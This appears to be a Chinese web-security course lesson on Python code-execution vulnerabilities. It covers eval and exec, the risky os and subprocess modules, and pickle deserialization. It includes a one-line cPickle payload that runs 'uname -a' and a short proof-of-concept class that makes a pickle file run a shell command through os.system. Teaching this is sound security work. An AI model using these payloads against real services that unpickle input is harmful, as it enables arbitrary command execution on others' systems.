1. 程式人生 > 實用技巧 >風炫安全web安全學習第三十二節課 Python程式碼執行以及程式碼防禦措施

風炫安全web安全學習第三十二節課 Python程式碼執行以及程式碼防禦措施

風炫安全web安全學習第三十二節課 Python程式碼執行以及程式碼防禦措施

Python 語言可能發生的命令執行漏洞

  • 內建危險函式
eval和exec函式

eval

eval是一個python內建函式,語法為eval(expression, globals=None,locals=None)

eval函式接收三個引數:其中 expression
引數是用做運算的字串型別表示式;globals引數用於指定執行時的全域性名稱空間;Locals引數用於指定執行時的區域性名稱空間。globals與 locals 是可選引數,預設值是 None,他們只在運算時起作用,運算後則銷燬。

exec

在Python2中exec是一個內建語句(statement)而不是一個函式,但是到了Python3中exec將Python2中作為內建語句的exec和execfile()函式功能整合到一起,成為了一個新的函式,語法為exec(object[, globals[,locals]])

exec的第一個引數可以是code object,因此它可以執行復雜的程式碼邏輯,例如變數賦值操作等,這一點是eval做不到的。但exec返回值永遠為 None,因此exec不能像eval一樣將計算結果返回。exec的後兩個引數與eval一致

  • 標準庫危險模組

    os
    subprocess
    
  • 反序列化:

    pickle和cpickle

    pickle.loads

>>> import cPickle
>>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.")
Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux
0
import cPickle
import os
import urllib

class genpoc(object):
    def __reduce__(self):
        s = """ls /"""  #要執行的命令
        return os.system, (s,)        #os.system("echo test >poc.txt")

e = genpoc()
poc = cPickle.dumps(e)

print poc
print urllib.quote(poc)
fp = open("poc.pickle","w")
fp.write(poc) # 生成 pickle檔案

-----------------------
import pickle

pickle.load(open('./poc.pickle'))

參考:
http://blog.evalshell.com/2020/12/20/風炫安全web安全學習第三十二節課-python程式碼執行以及代/